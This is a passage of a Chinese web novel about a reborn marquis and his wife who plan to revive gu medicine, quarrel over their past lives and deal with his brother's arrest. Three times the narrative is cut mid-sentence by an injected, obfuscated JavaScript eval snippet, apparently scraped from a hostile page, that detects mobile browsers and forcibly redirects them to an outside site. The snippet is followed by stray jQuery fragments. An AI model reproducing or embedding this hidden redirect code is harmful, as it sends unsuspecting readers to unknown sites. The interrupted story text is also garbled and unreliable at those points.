原来他那时候就打算好了借他的伤,让蛊医重新回到元京,回到世人的视野里。 没错,这件事上她和杨家是冒了险的,可那也是因为他前世见识过她后来行医的水平,也是因为他有能力护住她。 要是他真有个三长两短的,他承认是他自己坚持这么做的,有两个太医做见证,搭上他生前的功劳,圣上也不会把她这个**怎么样。 到时候把她送走,放她自由,而杨家再像她计划的一样南迁即可,最终也不会比她动手之前更差,这一切中的最大风险还是他承担的。 要是成了,他就是活招牌,谁敢说蛊医就一定是不好的?明明在外伤和祛除余毒上有奇效嘛。 华靖离笑了一下:“外面的人一提到蛊医就想到苗疆蛊术上去了,他们当中大部分都没见过蛊医,更没被蛊医诊治过。他们想象中的蛊医,还是穿得稀奇古怪的,一出手就是蛇、虫、蜂、蚁的,再要么就是毒。” “你看看你给我治伤的时候,何尝用过这些?那些蛊粉看起来跟良医的药粉,除了颜色,也没多大区别。活蛊,也不是他们想象中的那样,说实话,我都认不出来,不知道该怎样形容。” 给华靖离用的活蛊其实不是活虫,是一种特殊环境下养出来的东西,它们没有生命,但是能动,在体外或是用针带药入体,可以在特定的位置做下“标记”。 之后将这东西导入体内,就可以顺着血脉寻找这些“标记”,从而走遍全身,这已经不是通常意义上的蛊了。 夏明嫣会养活蛊,但是让她解释这当中的原理,她也不是很懂,硬要让她概括,她觉得这种蛊的养育过程有点像养蘑菇和发酵酱料? 当然了,传统的蛇、虫、蜂、蚁也还是有的,这次没有直接用到而已,但也作为原料用了一些。 第200章下明棋,走阳谋 现在的蛊医已经跟以前不一样了,只是大部分世人都不知道而已。 可就是因为这个不知道才是最难的,这世上大部分人对自己认定了的事儿有抵触,对新的东西连看都不会去看一眼就表明立场不会接受。就像这世上有些观念,千百年都没能改变一样。 夏明嫣明白华靖离的意思,她也这么想过,蛊医这件事是要重新抬出来的,要回到明面上,但是不可能成为医道的主流,至少当下不可能。 有些事一开始就要找准了目标,不能好高骛远,饭得一口一口,事儿得一步一步做。她这一代,只要将蛊医在南边儿铺开了就好,元京这边,就算圣人松了口,也就是在元京府衙门挂了名牌而已。 真正适合蛊医的是把它做成某一个更专精的分支,而不是一上来就要压过了谁去: “我原还想着,我要是这样打算,堂堂钩翊侯会不会觉得自己的夫人没志气,原来侯爷的志气是恰到好处的。就这么办吧,刚好我手头铺子挣的补到这些寨子来,也算是投效朝廷了,看在我们的这份心意上,圣上也更容易松口。” “还有,不光得带着他们谋生、做生意,这人上,也得想想法子。当然,不能一上来就那么做,可是这是十年,这么长的时间,完全可以筹划起来。” “比方说我们跟那些孩子的父母打交道,等到人家放了心,咱们就在当地开几间学塾,也不教经史典籍,就教识字、算账和一些技能。不教君子六艺那些东西,教了他们也用不上。” “就教他们如何打猎能打到更多的猎物,如何在山地上种好各种庄稼、菜蔬,教他们简单的医术,让他们学会处理一些小伤小痛,教他们怎么照料孩子,能减少疾病,让更多的孩子活下来。” “先通过这些他们随时都用得上的东西,让他们一点一点地学,让他们感受到我们是真的在为他们好,即便有所图,他们也不吃亏。” “让他们知道,咱们就是图他们的寨子和助力了又怎样?咱们能让他们过得更好,能让他们当中有能耐的子弟走出去,到军中效力,到外面读书甚至做官……” 这是下明棋,走阳谋,不掩饰,但让他们没有理由拒绝。 在这条路上常王能给他们什么?即便给了钱粮,至少再将来的十五年里常王不是正统,他没有办法既给这些好日子过,又让他们光明正大地站在人前,何况他骨子里看不起这些人,根本不会有这样的打算。 李玦就更别说了,上一世他都是十几年之后才有能力去收买那些寨民的,而那些钱财大部分都来自他的妻妾和亲属家族的供养。 这一世她夏明嫣首先就不在他这边了,何雨萍已经进门了,何家这一支的助力她也拦不住,可是她不再会让邓澜跟李玦有瓜葛,还有何姨母和李姑母这两家也终将会离他而去。 她倒要看看李玦这辈子还怎么害别人、怎么把别人用命挣出来的军功占为己有,她要让华靖离、祖母和照顾她长大的小娘都过上好日子。 华靖离没想到她能想得如此细致,若是他去想,他会请文师父和武师父去教导他们的子弟,却不会想到要教这些对于元京和中原来说较为粗浅的东西。 现在哪个地方开书院不是教圣贤书?不是以科考为目的?偏偏她愿意大张旗鼓地开这样的先河,会想,又不藏着掖着。 他便打趣儿道:“你想得很周到,也的确更适合他们,只是这样以来,要是消息传回元京,又会有人说你是卢阳长大的野丫头,从小不读圣贤书、不受教化了。” “他们爱说什么说什么,朝廷每年都往西南派人,大大小小建了不少书院,到头来读出来的有几人?反倒是习武的出头的多。” 夏明嫣笑了笑,她可是个很务实的人,“那些个先生不是没有发现了问题的,也试着教些粗浅的东西,可现在这个世道好像不读圣贤书就辱没了读书人似的,谁敢在明面上说?” “到头来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378909|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报给朝廷还得说这些人也在读那些书,结果就是能考上去的依旧少得可怜,学了别的的那些,朝廷都不知道他们学了什么,又能有什么好出路?” “我也想了,你不用明着跟他们对着干。咱们不说在培养读书人,就说是教匠人、带徒弟呢,要是有习武的好苗子,你直接在旁边建个营,就当孩子兵带了,省得跟他们嚼舌头辩驳那些有的没的。” 等真有那些好苗子,还是在科举和武举上见真章,前头的这些争执完全可以省去。 武举就更不是必须的了,直接到军中历练,立下功劳还不都是一样的? 他们倒不是看**这些孩子里没有那种能奔着举业去的好苗子,关键是这么多人里能出多少这样的人,教书育人这种事儿还是得顾着大多数人去的。 那些个寨民,中原的字都不识几个,想要一代而就就考出个状元来,绝大部分人都做不到,真要有这样的好苗子,他们也不会耽误了,送出去,另找地方去学就是了。 “就这么办,都听夫人的。那之前瞒着你……能不能就不要生气了?都过去了好不好?” 大事儿都商量定了,华靖离话锋一转,又到了隐瞒重生的事儿上了,他承认他看出她是重生的之后没有说出来,是存着促狭的心思的, “我就是想看看你什么时候能发现我也是?不,也全是,我也想看看你接下来会怎么做,你会不会想……” 华靖离语塞,让他这样的人当着自己娘的面去表达这种情感,实在太为难他了。一向天不怕地不怕的他,也开始瞻前顾后、前怕狼后怕虎了。 他很想说,尽管李玦不是个东西,可是毕竟是冠玉公子,整个元京有多少贵女都宁愿清新李玦那样的破落户,也不愿意青睐他这样的大老粗。 上一世李玦在夏明嫣身上图谋了那么多东西,可是夏明嫣依旧甘之如饴地付出,她心里头是不是也心仪李玦?年少爱慕,不是理智能够阻拦的。 第201章怪就怪孟婆没把汤熬好 不管道理上如何,有的人做的再多,也比不上有些人的一张脸和惊鸿一瞥、一见倾心。 华靖离只记得这一世自己第一次醒来还未了解换亲的全貌,等他再醒来时,夏明嫣已经已经进门了。 他那时还不确定是什么导致了这一世的换亲,更加不确定夏明嫣会不会因为没有嫁给李玦而感到了遗憾,更加担心他和华家给不了她想要的。 就算是现在,他确定夏明嫣早就恶了李玦,他也不敢去想,在那段日子里是不是有那么几瞬的美好让她铭记至今,而他能给她很多李玦不能给的,却也给不了她那样的刻骨铭心。 按理说华靖离这样的人的心思是很难猜的,可夏明嫣现在只要看他几眼就能很容易地猜到他在想什么了,她有些没好气地道: “知道侯爷想说什么,不就是因为我上一世跟他是做过夫妻的,你担心我心里还念着他。或是我早就不念着他了,但毕竟跟他有过半辈子的夫妻之实,你心里很介意。” “很介意”三个字是一字一顿还加重了语气说的,她也不是不心虚的,上一世她身不由己,只能那样活,纵使她进了端侯府后没多久就看清楚、想明白了,可是没有用。 一开始,她没有娘家的支持,自己又只是一个连嫁妆都没有的妾室,连出门儿的机会都几乎没有,深宅大院,还能如何反抗? 后来她掌握了端侯府,可是身子已经不行了,自己也已经陷进去了,夏家一大家子都握在了楚氏手里,她想挣脱就是要置祖母于不顾,她没有舍得一身剐的勇气,就只能继续受着。 可是尽管身不由己,她也不能否认两件事,其一,她跟李玦曾经做过半世的夫妻,这是改变不了的事实。 其二,虽然她是最后才知道李玦是一直在害华靖离的,可她不能否认,李玦之所以能有害华靖离的能耐和银钱,至少有一半儿靠的是她。 无心的伤害也是伤害,是不能祈求对方就一定要原谅的。 只是她心里也觉得多少有点儿冤枉,人活一世,草木一秋,本就是**就什么都没有了的,谁能想到她能重活一世,嫁给他为妻,还被他如此信任、厚待。 上一世和这一世,这就是再世为人了,应该算是两辈子了,可是偏偏他们两个都重生了,都记得过去的那些是是非非。 她当下也不知道该怎么说,咬了咬牙才憋出一句不至于让自己太难堪的话, “我也没想着这辈子就嫁给你了,我醒来的时候,换亲的事儿大局已定,我要是不想像上一世一样污名加身,半辈子都洗不清,就只能这么做。” “我是坑了你了,也拿了你不少东西,但我也会为你做许多事的。这辈子我们都要好好的,我会竭尽所能弥补上辈子我无意间对你造成的伤害。” “我也没想着让你心仪我、待我如珠如宝,你要是遇见心仪的人了,要是晚些时候,这些个大事儿都了了,你我就和离,我成全你们,保证没有一句怨言。” “要是早些时候遇上的,你我不能和离,你是愿意先在外面与她相交,还是想先纳妾进府,等到和离了之后再将她扶正,都随你。我向你保证,和离职前,她虽未妾室,可在咱们这止戈园,她的地位与正室一样,我绝不横在你们之间。” “你要是这样都不行,那就没办法了,谁能想到你我都重生了呢?你实在咽不下这口气,就怪……怪你我喝的那碗孟婆汤有问题吧,那定是用假的、腐的药草了!” 她在说什么,让他去找别的女人,还把他们之间这亘古无几的再世之缘说成是喝了熬坏了的孟婆汤导致的,她就这么看他? 华靖离到底是男子,这种时候他觉得他该体贴一下眼前这个拎不清的小女子,他主动道: “说什么呢?我何曾怪你跟他有过一世,我恨上一世你身边的那个人不是我还来不及,哪里顾得上这些。” “你该不会是心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387484|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还忘不了他,借口担心我介意,才要给我纳妾的吧?好啊,夏明嫣,你说是为了府里进几个人,你要用,又不想引人注意才要替我纳妾的,该不会你就是不想跟我在一起吧?” “你想让那些妾室挡在你前头,这样你就不用跟我在一起了,是不是?你就是找借口……” 这话里是带着些笑闹的意味的,夏明嫣却不想拿这种事儿跟他开玩笑:“你说我别有用心?我还想说你假公济私呢,要不是婆母先要替你纳妾,开枝散叶,我会想出这样的法子?” “我还想说是不是你们母子都商量好了,你就是想纳妾,才通过婆母说出来的,你倒先质疑起我来了。你也不用这么不舒服,这一世我们还只有夫妻之名。” “你要是心里过不了那道坎儿,索性就这么着吧,直接找别人就好了,还与我说什么……我有那时间先管你二弟的事儿去,那可是个单纯还念着别人好处和恩情的孩子,别有些人强多了。” 夏明嫣说完就要走,华靖离想着这时候让她走了还了得,直接从后面抱住她,两只胳膊铁箍一样禁锢住她,半点由不得她挣脱。 他讲她的背抵到了**架上,低沉的声音在她耳边响起:“谁说我拎不清、放不下了?什么是曾经错付,什么是现世拥有,我分得清孰轻孰重。” “如果介意过去,意外着会失去你,以后都不能跟你在一起,那我宁愿没有过去。况且我们行伍之人没那么多讲究,你就算与他……就当作是与我成婚之前长见识去了。” “感情这种事,我一直觉得父母之命、盲婚哑嫁不妥当,就应该去见识一下不同的人,长长见识,不知道你怎么知道那就错的,知道他没我好呢?” “再不然,你说得很对,这都是两辈子的事儿了,要怪只能怪孟婆熬汤的时候走神儿了,让咱们重活一世,还什么都记得……这汤要是熬好了,咱们就是彻彻底底的两辈子了,谁又能计较了谁去?” 第202章六房妾室? 想开一点,这就是两辈子,中间隔着一世的记忆,说到底,记忆这种东西看不见、摸不着的,你在意那就是座大山,不在意就是一缕烟,风一吹就散了。 他们都是捡了命回来的人,不在乎这些,要说他介意她跟李玦有过一辈子,她也得介意他跟夏明月还有府里董氏纳回来的那些女人之间有没有首尾,这事儿就没完了。 他们要的是这一世一起走下去,让他们自己和他们身边的人都平平安安地过上安乐日子,再早日解决南疆之患,让那里的百姓也太太平平的。 上一世华靖离死在了李玦手里,受了害的可不止是华靖离和华家人,为了湮灭痕迹和人证,南疆有多少百姓和将士受了害。 夏明嫣想到她最后的时候,为什么李玦要和夏明月一起要了她的命,除了夏明月容不下她,还有就是她发现了真相,发现李玦害了那么多的人,发现自己一直被他利用,他甚至要把当中许多事儿推到她和夏家、杨家人身上,她去质问他,要他给出一个交代,才换来了幽禁和三尺白绫…… 夏明嫣心里这么想,嘴上却不服输:“你若是不介意,这件事就说**,不许以后再反口找后账。我还没介意你的事儿呢,你跟夏明月……还有几房妾室来着?夏明月回家的时候说过,我不大记着了,几房来着?” 夏明嫣一开始“算账”,华靖离脑子里就开始回忆上辈子的那些事儿,想着如何应答,被她这么一问,他顺嘴就说出来了: “六个……不是我没有……” 夏明嫣不想听他后面说的,直接打断道:“娶了就是娶了,纳了就是纳了,不用多说!就算你常年不算府中,你敢说你回府的时候,她们没有服侍过你的饮食起居?” “还有你在南疆的时候,好像有一个叫什么巧娘的,也去给你送过东西吧?把这六个连同一个夏明月加一块儿,能不能抵得上一个李玦?” 夏明嫣觉得这么算很合理,丈夫和妻妾之间也不全是那种事儿,她上辈子活得就像个管家一样,除了开始的那两年,她跟李玦之前,她更像是一个谋士和管家。 真正跟李玦之间长年保持夫妻关系的是何雨萍,之后是夏明月,可跟她没什么关系。 为了给李玦打点背后的那些事儿,她不是里里外外地忙乎,就病了、伤了地养着,严格来说跟他之间那是掌管她生杀大权的主子和家臣、奴婢的关系! “好了好了,不算了,这么算是我不该。我不该由着母亲闹,弄了一堆女人在府里跟夏明月打擂台!是我不该放任她们,咱们都别计较了,好不好?” 华靖离惯不会讨好别人,这时候努力找着讨好一个人的感觉,“要算这账,我是不占理,妻妾的责任不止是服侍夫君,还要孝顺婆母。那些个女子留在府中,都是替我孝顺我母亲的。” “还有你那个二妹妹,在没去家庙之前,三天两头闹得母亲头疼。母亲这个人你也清楚,她看上去是个有排场、有架势的,但其实若论屯田、种地、打理庄子,她是一把好手,在内宅,她一个人只有吃亏的份儿。” “偏偏卜小娘不是盏省油的灯,不添乱就不错了,是断断不会帮着母亲的。母亲没法子,借着替我纳妾,把帮手一个一个地请回来……这不就多了么?” 夏明月自己占着侯夫人的名分又因为华靖离毁了容二不肯跟他过日子,还不许其他女人接近华靖离,偏偏华靖离每次回府也都是一副无所谓的样子。 董氏便急了,开始给华靖离纳妾,刚开始她的目的很单纯,就是找那等温柔贤淑能服侍华靖离的,可这样的人找来了,斗不过夏明月。她就再接着找那聪明懂事的,可这样的进来之后又不过泼辣。 夏明月这人也是个难得的,她之所以难对付,是因为她身上同时杂糅了高门女子的学识和市井妇人的泼辣,还得再加上一个有靠山的出身。 董氏见前头的几个女子都拿夏明月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387485|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法,反而被对方整治得很惨,她就更加来劲了,又找了那等原本有些出身、受过良好教养但性子泼辣、后来家里败落了的,弄进来铆着劲儿地跟夏明月斗。 后来夏明月终于跟孙允斌有了私情,那时候楚氏和楚家也不知道在忙什么,连夏明月都顾不上了,终于等到了一个机会,董氏一举**,让夏明月把自己折腾进家庙去了。 这几个从前充当斗儿媳工具的妾室一下子都没了用,华靖离也不常回府,后面董氏真就是根据她们各自的长处让她们在府里管着各自的事儿了。 夏明嫣一下子想明白了许多,难怪夏明月每次回娘家都对那些咬牙切齿的,楚氏问起,她又偏偏说不出华靖离在这当中到底向着谁,原来这当中根本就是她跟董氏和那些小娘们的斗争。 “既然孝顺母亲也是妻妾的责任,这么多人都替你孝顺了,那不是等于一样跟你一起了么?跟谁的日子不是这么过的似的。” “……等等,你该不会是想借机敲打我,不让我借着给你纳妾接人进府吧?我可先说好了,有两个人,说什么我也得带到身边来。” “要是用别的名义,她们家里怕是不会放人的。你就当作她们也是来替你孝顺母亲、服侍我这个主母的,你要是不依……你自己想法子去……” “好,好,好,都听你的,只要你别老念着我瞒着你的事儿就行。行了吧,咱们不气了,外头送了螃蟹进来,咱们一会儿吃螃蟹去。” 华靖离忙着转移话题,她要带人进来,给什么名分、如何安置,到时再看,总之给她把人弄进来就行了,形式他可不拘泥。 他现在想的是,上一世他们两个都是被李玦害死的,可是乱起受到的折磨,夏明嫣可比他多多了,也因为如此,她现在才满心满眼地都是报仇。 她说的这些女子都是能帮她达到这一目的的,她现在就是不惜一切代价也要把人弄进府来、留在身边为己所用。 第203章来抓华靖和了! 可是她没有想过,这些女人“用”完之后该如何安置?她们已经有了侯府妾室的名分,又都是有功的,将来就那样给了银钱、宅子安置出去,她们可能甘心? 人一旦有了不平之心就会生事儿,即便打发出去了,也说不定会在什么时候咬他们一口。 他可以将人安置好了,或是打发得远远的,让对方不敢怎样,可是这些人都是帮过他们的,以她的性子,可还能做到一点都不愧疚? 罢了,这些都先不说了,等人来了再说,反正他现在觉着,至少中间有诸多波折,就结果来说夏明嫣还是满听他话的…… 夏明嫣却在这时半笑半气地道:“信任的根基是相互坦诚,我没率先坦诚,那是因为我不知道你也是这种情况。你什么都知道了,还不坦诚,就是不信我……这样就让我不计较了?门儿都没有。” 见她笑了,华靖离便知道这事儿早晚都能过去了,便带着她去看他从天南地北带回来的那些藏品,有刀剑、有摆件儿,还有各类的书籍。 两个人把话都说开了,把心底的气也都撒了,气氛竟然前所未有的好,不一会儿蒸好的螃蟹就端上来了,配着姜汁蒜泥,人看了就想要大快朵颐一番。 二人刚要坐下,就见葱白从外面急三忙四地跑了进来,脸上还带了点幸灾乐祸: “侯爷,夫人,卜小娘和二公子那边出事了,就在刚才,元京府衙那边来了一队人,老侯爷让人去拦都没拦住,直直地冲进来要把二公子抓去过堂呢!” 之前华靖离命郭林带人帮着看着华靖和那边的事儿,葱白自然也是知道的,他对华靖和倒是没什么意见,可谁让华靖和的出身就决定了他的立场呢,他就是看这对母子不顺眼。 虽说华靖和本身也有诸多无奈,可是明明在前面冲锋陷阵的是华靖离,凭什么华靖和在这儿享着清福,那么多人还想着让他将来的子嗣继承华靖离拿命拼下来的一切呢? 尽管这就是华家的惯例和祖宗家法,葱白也就是华靖离身边的一个小厮,可是从情分上来说,他与华靖离的兄弟、发小没有多大区别,那就不能怪他要为华靖离抱不平了。 尤其是卜小娘还不是个好相与的,在华靖离这次遇刺重伤之后屡屡兴风作浪。 葱白现在不是见不得华靖和好,他分明就是想看看华靖和不好了之后,卜小娘怎么才能好过。 华靖离警告地瞥了他一眼,淡淡地道:“如今的元京府尹是张大人?这可是公道的人,不会无缘无故地抓人,定是手里握了证据的。” “是哪件事被提上来了?可在原先预想的单子里?怎么事先连个来说一声的人都没有?” 这些事儿分明是交给夏明嫣盯着的,夏明嫣是总领,郭林和他们都是辅助她的,现在出了纰漏了,华靖离却不问夏明嫣,只问他,这是什么道理? 葱白左看看、右看看,最终在二人双双勾起的嘴角里看到了端倪,他不得不认栽地开口,越说声音越小: “这就是……夫人之前说的那件吕家的事儿,是小的们疏忽了,没盯住,这人出了事儿了,孩子也没了。” “之前报给夫人听,可是……夫人说让看着,不让动,小的们就……但是这还是小的们的错,盯着、不动也是不能出事的,都是小的们疏忽了。” 看把这孩子可怜的,夏明嫣不忍,在华靖离开口前解释道:“刚才就是想跟你说这件事的,你非要说……那件事,一时间我就给忘了。” “我留着这件事儿,就是为了让他难堪,你可能觉得这种手段有点不太好……” 她用眼梢扫了葱白两眼,示意华靖离这件事还是先不要让葱白知道的好,不然他一定会说到到处都是了,就没意思了。 华靖离本来还想着这当中是不是还有别的缘故,可一看夏明嫣这眼神和得意的样子,就明白了。 “你先过去看看,先不要让他们把人带走了,就说我跟夫人一会儿就到。” 华靖离吩咐完,葱白就一溜烟地跑去前头看热闹,弄得夏明嫣和华靖离都一阵尴尬。 华靖离先道:“到底是什么事儿?我记得那吕家姑娘早年时曾流落书寓,做过女先生,靖和那时荒唐,有几次诗会请过她,与她传过一段韵事,之后便没有然后了。” “靖和的性子就是这般,家里从前留着他守业、开枝散叶,也不让他有个正经前程,他便每个正行了。可这种事在世家公子当中,也不算什么大事儿,你是怎么把这件事挑出来的?” 华靖和被卜小娘推搡着参加了御青书院的擢选,他自己没当真,参与了也是为了给卜小娘一个交代。 就是卜小娘找的关系,其实也就是在一开始的时候给了他一个参与的机会,后面便没什么用了。 没想到半路杀出个夏明月,为了让李玦中选的同时能通过华靖和把华家踩下去,就这么的通过楚家的舅父硬是把华靖和一路推进了终选。 这都到了终选了,如今还剩下十几位学子,最终会有三到五人在今年进入御青书院。 严格来说选到了这一步了,即便是全然因着家世背景和人脉进来的,才学上也都是各有千秋的,这就意味着到了这一步已经不全是才学之争了。 往年的这个时候,这些个学子平日里的平行、做派和他们做过的事儿都会被翻出来品评。其实说是品评都是客气的,这分明就是相互攻讦才对。 进入终选前的这条路就像一个斗兽场,所有的学子都会再次经历一番厮杀,只是在场厮杀中,他们既是动刀厮打的人,也是那被人、被风、被雨……撕扯的人。 这种撕扯有多可怖、无序,就这么说吧,曾经有一位学子三岁时贪玩,曾在祖父的汤碗里扔了一块儿石头,导致祖父磕碎了半颗牙,这番话被引申成了大不孝,导致这位学子不仅退出了擢选,还险些被逼自尽。 第204章可就要受苦了 之前华靖离列出了一张单子,都是些华靖和干过的荒唐事,因为这些事儿看起来与其他高门子弟赶出来的荒唐事儿没多大区别,有区别也都是只轻不重的。 当时华靖离也不知道哪件事会被揪出来大做文章,就跟夏明嫣商定了三五件事,由他们派人着重盯着,这样反过来就能让盯着华靖离的人注意到,以为这几件就是最重大的。 然们这些人就会在这几件事里找到那防备最深、最容易闹大的事儿闹大,这样事情的范围就缩小到了最多三件事里。 华靖离之前只知道他们一起选出来的五件事是什么,不知道最后的这件事是什么。 夏明嫣一边帮他换在府外穿的大衣裳,一边道:“这事儿之所以没跟你打招呼,是因为我原先也不知道他们要怎样做这文章,再有,当时也不是很确定,他们就盯上这桩事儿了。” “要说还有别的,就是……我不大清楚这事儿中间会怎样,可是我知道结果?”她说完还眨了眨眼。 “结果?先把你知道的跟我说说。”华靖离看她的眼神儿多少猜到了些,可是这也太匪夷所思了。 夏明嫣便道:“这吕家上一代是从北边儿来的客商,也不是什么大商贾,什么生意挣钱就做什么,也做过镖局和马帮的生意,接触的人就有些乱。” “吕家有两个女儿,这大女儿小时候就被人给拐了,流落到了书寓,做了女先生,大了之后也就跟着个人往来了。二弟他也是其中一个,不过他就是去喝了几顿酒,听了几次评弹。” “这事儿就出在三年前,这吕大姑娘有了身孕了,也不知道是谁的,在她有身孕之后不久,吕家人就找到了她,给她赎了身,接了回去,吕家也在元京定居,置了宅子和田地,安定下来。” “这吕家人从来就没给他们这外孙找过爹,一开始大家都以为他们是顾忌这女儿的名声,毕竟是从书寓里出来的,吃了这哑巴亏,不追究了,外人还能说几句身世可怜。若是去找,事情会闹大不说,这亲爹的家里恐怕也不能放过他们。” “可是后来,这孩子都两岁了,这家人还是一点儿动静都没有,就有人说其实他们家也不知道这孩子爹是谁……” 这吕家大姑娘就这么深居简出地住着,没什么存在感,左邻右舍的都见不着这个人。吕家二老上一年就相继过世了,这吕家的门户就由吕二姑娘撑着。 吕二姑娘是个伶俐、泼辣的,里里外外的事儿一把抓,但那么多事儿,她一个人也是独木难支,大概就鼓励着长姐出来帮着照应一下。 这吕大姑娘才又露了面了,也就是最近,有人瞧见她在铺子里帮忙照应着,谁知道就在三个月前,也就是擢选开始之前不久,这位吕大姑娘突然就一脖子吊死了。 有人说她是见着孩子的亲爹了,两个人说了什么,之后一时想不开,就把自己给结果了。 这种事儿说大不大,说小不小,她这样出身的,又隔了这么多年了,见到孩子爹了,又能怎样,人家肯定不可能让她进门。 更何况认亲这种事儿,怎么说呢……在这个时代本来就很难,滴血认亲吧,这事儿不一定准,很多人都知道。 凭长相呢,就算长得像,也不能就说一定是孩子的亲爹了,这世上没有关系的人也有长得像的。 还有这男子总有兄弟姐妹,没有亲的,堂的、表的总有吧?这些人的孩子都有可能有相像的地方,你不能说这孩子就一定是这人的。 所以这个时候认亲主要还是看几个方面,主要是男方和男方家里认不认,再有就是有孕和生产的脉案、日子,还有就是人证。 吕家这事儿都拖了三年了,吕大姑娘注定失望,落得这样的下场虽然令人唏嘘,可用不了几天也就过去了。 这吕二姑娘名叫吕冠瑛,长姐莫名其妙地走了,她自然是要查的,于是就把那个孩子寄养到城外的远亲家里了,自己在城里给吕大姑娘置办丧事,再着手查找真相。 夏明嫣还不知道这事儿究竟发展到哪一步了,也急着过去看看:“现在找到二弟这儿了。我猜定是有人说吕大姑娘的死并非自戕,还有人说她走之前见的人就是二弟。” “应该还会有一些证据,说吕大姑娘的死跟二弟有关。先不说这孩子不是二弟的,就算真是他的,他也不是那等心狠手辣的人,断然不会跟这件事有关系。” “他们即便污蔑、伪造证据,这事儿也经不住查,多半只是用吕大姑娘的死引起关注,之后我猜还是得拿孩子的事儿纠缠二弟和华家。” 华靖离整了整腰间玉带:“证物、人证,只要他没做过,我这儿总有法子拆穿。况且就算拆不穿,被他们坐实了,设计某人性命,一刀斩了他,或是流放三千里,人没了或者走了,这都是一时的事儿。” “碍于我和华家的颜面,谁也不敢把这事儿来回拿出来说。但要是拿孩子说事儿,这事儿就能纠缠少说十几年。” 华靖和要是被正法了,谁都得避讳着这事儿,私下议论少不了,可谁要是大张旗鼓地闹,就是明着跟华靖离和华家过不去。毕竟都伏了法了,公事公办,也没什么好说的了。 这件事要被说道,要拿着动不动就让华家难堪,就得靠一些说不清道不明的事儿,就好比这孩子。 什么时候把孩子推出来,说是外头的人看见了,哪儿和哪儿跟华靖和长得像,到时候华家跟华靖和是管也不是,不管也不是。 就算华家不管这孩子究竟是不是华靖和的,都把这孩子认回去,也一样会被人拿去说事儿。别说十几年了,这孩子一辈子都得被拎出来说事儿,哪儿还有比这桩事儿更适合成为元京酒桌上的轶事? 夏明嫣到底有些担心,因为她之前的确没想到他们有把本事让元京府衙直接来拿人: “我就是担心,他们手里会不会有那种比较真的证据,就是暂时勘破不了的,万一这一查就是几年,二弟可就要受苦了。” 第205章让他徇私坏名声 夏明嫣越想越忧心:“上辈子二弟没参加这次擢选,是我疏忽了,我就担心这事儿里真有说不清楚的地方,让二弟受苦了。” “毕竟楚家出手了,万一……这就害了二弟了,不过这事儿我知道是怎么回事儿,也能制衡他们,至少二弟最终不会有什么事儿。” 可这中间让人家受苦了,也过意不去,华靖和这个人还是蛮好的。 华靖离却笑了一下,让她安心:“这要是夏明月自己干的,你不必担心,她让人做出来的证据,扎实不了。要是楚家那两位大人,那就更不可能让这证据扎实了。” 见她还不明白,他点了她一下,“你得知道,以靖和的才学,根本就不可能选上,他画的那些画儿,我找行家看过,要是遇上名师,再磨练上个二三十年,或许能变成大家,可现在还欠火候呢。” “要是把他选上了,御青书院的招牌也就别要了,他本来就选不上。坏他的名声,不是为了让他落选,就是为了连累华家和我难堪。” “可是你得想,整件事如何做才能让我和华家更尴尬,甚至会被圣上责难……我这么说,你可能就明白了,要是靖和伏法了,我和父亲让元京府衙秉公办理,之后还有什么事儿么?” “所有人都得夸奖我们大公无私、秉公处理,这骂名反而变成好名声了。真想让我们的名声坏了,你说他们会怎么做?” 华靖离自己一击掌,用“你懂了吧”的眼神看着她。 夏明嫣豁然开朗,开口印证道:“你是说,他们会给你们机会去徇私,即便你们不这么干,只要让二弟能够平平安安地回来,在外人眼里你们也是徇私了。” “这样对你和华家的伤害反而更大,接下来他们还可以不断地拿那个孩子说事儿,让谣言不断地被提起?” 这样的话,就不仅是谣言和议论的问题了,还会有人弹劾华靖离和华家徇私,在圣上和太子谢维的心里,华靖离的名声才会更差。 谢维这时候还是个少年郎,正是渴望独当一面的时候,不止是对华靖离,他对这几个军侯都是忌惮和厌恶的。 而圣上虽然信任华靖离,可他们之间的信任很微妙,谁知道时间长了就被说动了,会不会找个借口提前对华家动手? 华靖离却点了头:“只有这样对我和华家的伤害才更大,所以你不用愧疚,靖和一定能回来,最多吃几天苦头。何况他们要如何炮制证据,你又不能派个人在他们旁边盯着,你怎么会知道?” “这件事最麻烦的是之后,要是孩子这事儿说不清楚,之后咱们两个以后十年出门都得被人指指点点。你想啊,靖和在外人眼里就是个不当事儿的。” “父亲、母亲又一直在元京格格不入,在外人眼里他们是不当事儿的。反倒是你我,一个长兄如父,一个长嫂如母,咱们是外人眼里担事儿的人,靖和没主意,咱们就得办。” “不过,咱们也可以把卜小娘抬出来,她爱担当,就让她担当去。不过她到底只是父亲的老妾,外面的人不会寻她麻烦,还得找咱们……你刚刚说,你知道这是怎么回事儿?” 